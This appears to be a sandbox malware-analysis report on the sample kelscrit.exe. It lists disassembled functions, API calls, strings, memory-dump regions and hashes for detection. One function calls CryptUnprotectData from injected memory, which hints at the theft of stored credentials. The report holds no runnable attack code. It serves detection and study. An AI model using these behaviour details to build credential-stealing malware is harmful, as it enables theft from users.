Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: f2f0f64a112d89f35c11d852d44423d34ca235ab8761dbed5ccf1744ff487032
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: C2D05E31101534AAC6116F54AD04DDB62AC9E46384381483BF541B20A5C778595186FD

Function 6F9510E1 Relevance: 6.4, APIs: 5, Instructions: 145memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6F951171
GlobalAlloc.KERNEL32(00000040,?), ref: 6F9511E3
GlobalFree.KERNEL32 ref: 6F95124A
GlobalFree.KERNEL32(?), ref: 6F95129B
GlobalFree.KERNEL32(00000000), ref: 6F9512B1

Memory Dump Source

Source File: 00000000.00000002.2290522193.000000006F951000.00000020.00000001.01000000.00000004.sdmp, Offset: 6F950000, based on PE: true

Associated: 00000000.00000002.2287611744.000000006F950000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290612560.000000006F954000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2290665716.000000006F956000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f950000_kelscrit.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 920368ba1c5d0bf3d2b25d97aa18736a9e0b06a00e71052da3eaa136c16f6c70
Instruction ID: a3d0bacac4eef916bf4c7876f7fec148cb22f6dbeb451bda2dac2e24645fffd0
Opcode Fuzzy Hash: 920368ba1c5d0bf3d2b25d97aa18736a9e0b06a00e71052da3eaa136c16f6c70
Instruction Fuzzy Hash: 21517BB5904701DFEB10CF78D844A6677A8FB0B328B40415AE908DB2A2E774E9B4CF90

Function 00402663 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll), ref: 004026BA

Strings

C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll, xrefs: 0040267E, 004026A3, 004026B5, 00402701
C:\Users\user\AppData\Local\Temp\nst46B6.tmp, xrefs: 004026A8

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nst46B6.tmp$C:\Users\user\AppData\Local\Temp\nst46B6.tmp\System.dll
API String ID: 1659193697-1873191408
Opcode ID: 16bcd07f8b696e8d4d77bdf42abac6a8be44450ddb0260aebc576801c6c870aa
Instruction ID: 2d8dd356423beb748054ff885628a6ea3dfbd93006732d19d47d72bde2aed11d
Opcode Fuzzy Hash: 16bcd07f8b696e8d4d77bdf42abac6a8be44450ddb0260aebc576801c6c870aa
Instruction Fuzzy Hash: 3C11EB71A00315ABCB106FB19E466AE7761AF40748F21443FF502B71C1EAFD8891676E

Function 0040303E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,0040321C,00000001), ref: 00403051
GetTickCount.KERNEL32 ref: 0040306F
CreateDialogParamW.USER32(0000006F,00000000,00402FB8,00000000), ref: 0040308C
ShowWindow.USER32(00000000,00000005), ref: 0040309A

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction ID: e0f0fd039426b51c9db09d8e0aed7b7b9f53d87474512ec8403aba9b2c913b41
Opcode Fuzzy Hash: dba963b85b565a1be4b34eea4ba853e9dad76a83014f6dce089c5eda9641480c
Instruction Fuzzy Hash: 93F05470602A21ABC6216F50FE09A9B7B69FB45B12B41043AF545B11ACCB384891CB9D

Function 00405570 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040559F
CallWindowProcW.USER32(?,?,?,?), ref: 004055F0

Part of subcall function 00404542: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404554

Strings

, xrefs: 00405580

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: f144bc20a23b2fc1dad06cc698734642626ca736bc3518a3bbd7873959a32aa8
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 21017171100608BBDF219F11DD84A9F376BEB84794F204037FA027A1D9C7398D529A69

Function 00403BB4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,74DF3420,00000000,C:\Users\user\AppData\Local\Temp\,00403B8C,00403AA2,?,?,00000008,0000000A,0000000C), ref: 00403BCE
GlobalFree.KERNEL32(006D4D08), ref: 00403BD5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403BB4

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction ID: 378dd3650374f781d23bf779db5809bbac3881e8a2166d277484928c36cee721
Opcode Fuzzy Hash: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction Fuzzy Hash: 20E08C336204205BC6311F15AE05B1A77786F89B2AF01402AE8407B2628BB47C528FC8

Function 00405E92 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,0040310E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\kelscrit.exe,C:\Users\user\Desktop\kelscrit.exe,80000000,00000003), ref: 00405E98
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,0040310E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\kelscrit.exe,C:\Users\user\Desktop\kelscrit.exe,80000000,00000003), ref: 00405EA8

Strings

C:\Users\user\Desktop, xrefs: 00405E92

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction ID: f09b3c5ebc87e5286f4ae90cf2a9e4f9baad7a67d9a69d6c991adc66958b5f71
Opcode Fuzzy Hash: 4d9a109f9f2e29ac56c0736ccbd4fa6bf3a04a93e1f4050107f2eb61dc35f761
Instruction Fuzzy Hash: 40D05EB28019209ED3226B04EC0499F73A8EF123107868826E980A61A5D7785D818AEC

Function 00405FCC Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FDC
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405FF4
CharNextA.USER32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406005
lstrlenA.KERNEL32(00000000,?,00000000,004062B1,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 0040600E

Memory Dump Source

Source File: 00000000.00000002.2239760480.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2239748509.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239772869.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239786164.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2239868741.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_kelscrit.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction ID: b896d6fd3cda69cb85c158c7a33f171d68b8f81fed19edc6c2f6f75b2124ada4
Opcode Fuzzy Hash: 2e04212541fd7d2d0fc4f715182178ccf0de62a07a1c27cf83518a5c6c9cf375
Instruction Fuzzy Hash: 64F0F631104418FFC702DFA5DD00D9EBBA8EF45350B2200B9E841FB250D674DE11AB68

Analysis Process: kelscrit.exePID: 5756, Parent PID: 1748COMMON

Execution Graph

Execution Coverage:	9.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	17.2%
Total number of Nodes:	157
Total number of Limit Nodes:	10

Executed Functions

Function 0015C147 Relevance: 6.5, Strings: 5, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjWp, xrefs: 0015C377
PHtq, xrefs: 0015C400
LjWp, xrefs: 0015C38D
0oWp, xrefs: 0015C20A
PHtq, xrefs: 0015C3EF

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 0oWp$LjWp$LjWp$PHtq$PHtq
API String ID: 0-3561621482
Opcode ID: e5a7fc4fca3c0e89c968df7617bb1b34404addb3a758b3640eb4dbc5f2e36166
Instruction ID: 405933136a1cd208c583d9b46834a41dcac806ab1f10d008a49b07c377e82b9a
Opcode Fuzzy Hash: e5a7fc4fca3c0e89c968df7617bb1b34404addb3a758b3640eb4dbc5f2e36166
Instruction Fuzzy Hash: 17A1E574E00618DFDB54DFAAC884A9DBBF2BF89301F15C069E819AB361DB309945CF90

Function 00155362 Relevance: 6.4, Strings: 5, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjWp, xrefs: 00155566
0oWp, xrefs: 001553E2
PHtq, xrefs: 001555C8
LjWp, xrefs: 00155550
PHtq, xrefs: 001555D9

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 0oWp$LjWp$LjWp$PHtq$PHtq
API String ID: 0-3561621482
Opcode ID: f3ecea96d684a2afffacbbf5544b1db3b38d0d0e62b96fd0174d589b9330f7c8
Instruction ID: 6b2e9b21dd6de4a4fde66f5089b858e069c4b57b5e1b7424c96cf32b441a6a22
Opcode Fuzzy Hash: f3ecea96d684a2afffacbbf5544b1db3b38d0d0e62b96fd0174d589b9330f7c8
Instruction Fuzzy Hash: CF910974D00648CFDB14CFAAC894A9DBBF2BF89301F15D069E819AB361DB309985CF50

Function 0015C468 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHtq, xrefs: 0015C6BF
LjWp, xrefs: 0015C65D
PHtq, xrefs: 0015C6D0
0oWp, xrefs: 0015C4DA
LjWp, xrefs: 0015C647

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 0oWp$LjWp$LjWp$PHtq$PHtq
API String ID: 0-3561621482
Opcode ID: 811ad7c8277a5d493bc379616a24f6aa5604be0170d575fee05982444220d319
Instruction ID: 915c23f84ccc30434dc186a6372d2f82dbd03de74466e2aecc031a2d79f944f7
Opcode Fuzzy Hash: 811ad7c8277a5d493bc379616a24f6aa5604be0170d575fee05982444220d319
Instruction Fuzzy Hash: 9981B574E04258CFEB14DFAAC884A9DBBF2BF88301F14D169E819AB365DB705985CF50

Function 0015CA08 Relevance: 6.4, Strings: 5, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHtq, xrefs: 0015CC70
LjWp, xrefs: 0015CBFD
PHtq, xrefs: 0015CC5F
LjWp, xrefs: 0015CBE7
0oWp, xrefs: 0015CA7A

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 0oWp$LjWp$LjWp$PHtq$PHtq
API String ID: 0-3561621482
Opcode ID: 78a8dcdccbb82080adcac0ff26631d2ea92f41e1cc066a79fdd63ca3dd1c4092
Instruction ID: fb8c781e8d340d8808f16c9a749942294baa80e9e8aa6af32ae224e755d9a2db
Opcode Fuzzy Hash: 78a8dcdccbb82080adcac0ff26631d2ea92f41e1cc066a79fdd63ca3dd1c4092
Instruction Fuzzy Hash: 4B81B574E00218CFDB14DFAAC884A9DBBF2BF89301F24D169E819AB365DB305985CF50

Function 0015CCD8 Relevance: 6.4, Strings: 5, Instructions: 188
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjWp, xrefs: 0015CECD
PHtq, xrefs: 0015CF40
PHtq, xrefs: 0015CF2F
LjWp, xrefs: 0015CEB7
0oWp, xrefs: 0015CD4A

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 0oWp$LjWp$LjWp$PHtq$PHtq
API String ID: 0-3561621482
Opcode ID: 25e7a4786c8fdbdd734c04a834296ed68ae3b8f9320b30c5dd6343ab3afff50c
Instruction ID: ce4d69828c67e75f4003c62b3223523239f6ac14f0b539f5aaba94034f650dc2
Opcode Fuzzy Hash: 25e7a4786c8fdbdd734c04a834296ed68ae3b8f9320b30c5dd6343ab3afff50c
Instruction Fuzzy Hash: 3F81A074E00218DFDB14DFAAC884A9DBBF2BF89301F24D169E819AB365DB305985CF50

Function 0015D278 Relevance: 6.4, Strings: 5, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHtq, xrefs: 0015D4CF
LjWp, xrefs: 0015D457
LjWp, xrefs: 0015D46D
PHtq, xrefs: 0015D4E0
0oWp, xrefs: 0015D2EA

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 0oWp$LjWp$LjWp$PHtq$PHtq
API String ID: 0-3561621482
Opcode ID: d5c981d64062f5a831755b8a1fb6eb1c13983c0fd4d52c8098cac7986200db41
Instruction ID: 49611269865521f320a6dcbef61bd43c0606f5da7e45c511b42a2115cdab0d42
Opcode Fuzzy Hash: d5c981d64062f5a831755b8a1fb6eb1c13983c0fd4d52c8098cac7986200db41
Instruction Fuzzy Hash: 7381C574E00258CFDB54DFAAD884A9DBBF2BF88301F14D069E819AB365DB309985CF50

Function 0015CFAA Relevance: 6.4, Strings: 5, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHtq, xrefs: 0015D1FF
PHtq, xrefs: 0015D210
LjWp, xrefs: 0015D187
LjWp, xrefs: 0015D19D
0oWp, xrefs: 0015D01A

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 0oWp$LjWp$LjWp$PHtq$PHtq
API String ID: 0-3561621482
Opcode ID: 991bc55e91d32d0d1cdc094f314fd3cf381ee60f7c00253dda0ede1533476e3c
Instruction ID: 1c6f709261f7aaa70a11316c5985ab4adf06ab50d8b6641aa35961db03a96a93
Opcode Fuzzy Hash: 991bc55e91d32d0d1cdc094f314fd3cf381ee60f7c00253dda0ede1533476e3c
Instruction Fuzzy Hash: E081C374E00658CFDB14DFAAD884A9DBBF2BF88301F14D069E819AB365DB309985CF50

Function 0015C738 Relevance: 6.4, Strings: 5, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LjWp, xrefs: 0015C917
PHtq, xrefs: 0015C98F
PHtq, xrefs: 0015C9A0
LjWp, xrefs: 0015C92D
0oWp, xrefs: 0015C7AA

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: 0oWp$LjWp$LjWp$PHtq$PHtq
API String ID: 0-3561621482
Opcode ID: ad74a7ced143f9683cf422211a2c2a53a0ea9154ea43a22ec68d63ddb1d62b1f
Instruction ID: 09e290798ba799a237d2ea4033aa930bb3938d012ec2d0469878763eebc3beb3
Opcode Fuzzy Hash: ad74a7ced143f9683cf422211a2c2a53a0ea9154ea43a22ec68d63ddb1d62b1f
Instruction Fuzzy Hash: DC81C474E00218DFDB14DFAAC984A9DBBF2BF88305F14D069E819AB365DB309985CF50

Function 00159DE0 Relevance: 6.2, Strings: 4, Instructions: 1150COMMON

Download Yara Rule

Strings

4'tq, xrefs: 0015AB13
4'tq, xrefs: 00159F0C
4'tq, xrefs: 00159E04
(otq, xrefs: 0015A518

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: (otq$4'tq$4'tq$4'tq
API String ID: 0-3772766173
Opcode ID: 5a98bc669912bd442708988b7e5e034ac9ba156526b4bce6237fe70b99ef9ae7
Instruction ID: 270f2cf527c99c6011c0ff2d90cb45773c88ffe865a7b432e16fa92f332c633f
Opcode Fuzzy Hash: 5a98bc669912bd442708988b7e5e034ac9ba156526b4bce6237fe70b99ef9ae7
Instruction Fuzzy Hash: EDA2A270640209DFCB15CFA8C984AAEBBF2BF88301F558655E815DF261D731ED49CB92

Function 3AB43FB2 Relevance: 6.1, Strings: 4, Instructions: 1102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

0 k7, xrefs: 3AB4411E, 3AB44986, 3AB449FB, 3AB45085, 3AB45306
Tetq, xrefs: 3AB4493D
8!k7, xrefs: 3AB44412
Tetq, xrefs: 3AB44916

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID: 0 k7$8!k7$Tetq$Tetq
API String ID: 0-2943358372
Opcode ID: 8fc69762af7361411ca0341363a9283ee174f9cca102f546393704e7f4ce53d9
Instruction ID: ef69db41f19394b9f21ed9bc2ef6b50bc7455ecea149ed80b7f52f52025d5415
Opcode Fuzzy Hash: 8fc69762af7361411ca0341363a9283ee174f9cca102f546393704e7f4ce53d9
Instruction Fuzzy Hash: 1CC2E274A01229DFDB65DF65C994BADBBB2FB89304F1081E9D809A7364DB319E81CF40

Function 00156FC8 Relevance: 5.5, Strings: 4, Instructions: 451COMMON

Download Yara Rule

Strings

,xq, xrefs: 00157298
,xq, xrefs: 0015728A
(otq, xrefs: 00157212
(otq, xrefs: 00157220

Memory Dump Source

Source File: 00000004.00000002.2917984235.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_kelscrit.jbxd

Similarity

API ID:
String ID: (otq$(otq$,xq$,xq
API String ID: 0-148291897
Opcode ID: b9168962f9858dc29837cc29c19c77756ddea16e78f63e1ea68fe33eed8d6f06
Instruction ID: 6839d5d0811f53fea849cb56e578967f840501cb4f726145be7df9cd73a8bb55
Opcode Fuzzy Hash: b9168962f9858dc29837cc29c19c77756ddea16e78f63e1ea68fe33eed8d6f06
Instruction Fuzzy Hash: B3025070A08219DFCB15CF69E885AADBBF2BF49312F158069EC25AB2A1D730DD45CF50

Function 3AB45878 Relevance: 5.3, Strings: 3, Instructions: 1529COMMON

Download Yara Rule

Strings

0 k7, xrefs: 3AB45D96, 3AB4662D, 3AB46CD1, 3AB46F97
Tetq, xrefs: 3AB465E4
8!k7, xrefs: 3AB460A7

Memory Dump Source

Source File: 00000004.00000002.2947559208.000000003AB40000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AB40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3ab40000_kelscrit.jbxd

Similarity

API ID:
String ID: 0 k7$8!k7$Tetq
API String ID: 0-3047983391
Opcode ID: 4cfbcd6279952eb6f1bfa890d7b7ff0c6585c000f4db6a9db0b6a43a12e2962d
Instruction ID: 0dd9835706df3ca7bbb43cc72493f6a910ae1dae51fcbae580ef03575e780db7
Opcode Fuzzy Hash: 4cfbcd6279952eb6f1bfa890d7b7ff0c6585c000f4db6a9db0b6a43a12e2962d
Instruction Fuzzy Hash: 56C2F274A01229DFDB65DF65C994BADBBB2FB89304F1081E9D809A7360DB319E81CF40

Function 3A059548 Relevance: 1.9, APIs: 1, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2946917329.000000003A050000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A050000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a050000_kelscrit.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88e89cd6798dc4b127ebb29fed008ae091328917f8643633e82c787cdee7f6ab
Instruction ID: b7c1481085b3b27636cbd1fa47648647b6377369dc147a70e32fcdf4daffa25f
Opcode Fuzzy Hash: 88e89cd6798dc4b127ebb29fed008ae091328917f8643633e82c787cdee7f6ab
Instruction Fuzzy Hash: CEF1F474E05218CFDB14DFA9C884B9DBBB2BF88344F54C1A9E848AB355DB709986CF50

Function 3AA587A8 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 3AA58F5D

Memory Dump Source

Source File: 00000004.00000002.2947371105.000000003AA50000.00000040.00000800.00020000.00000000.sdmp, Offset: 3AA50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3aa50000_kelscrit.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: ee92f51b98ecc36f4b3eba2f07be260ac1da4d259098914d496527ba3fb5c7e0
Instruction ID: ab3ad7c0ac46d9abbfe1ed10e1cd5af8851e1ee1ff2748b81c79b343d0b6e523
Opcode Fuzzy Hash: ee92f51b98ecc36f4b3eba2f07be260ac1da4d259098914d496527ba3fb5c7e0
Instruction Fuzzy Hash: 411147B2800349EFDB10CF99C804BDEBBF5EF48320F148419E968A7211C779A554DFA5

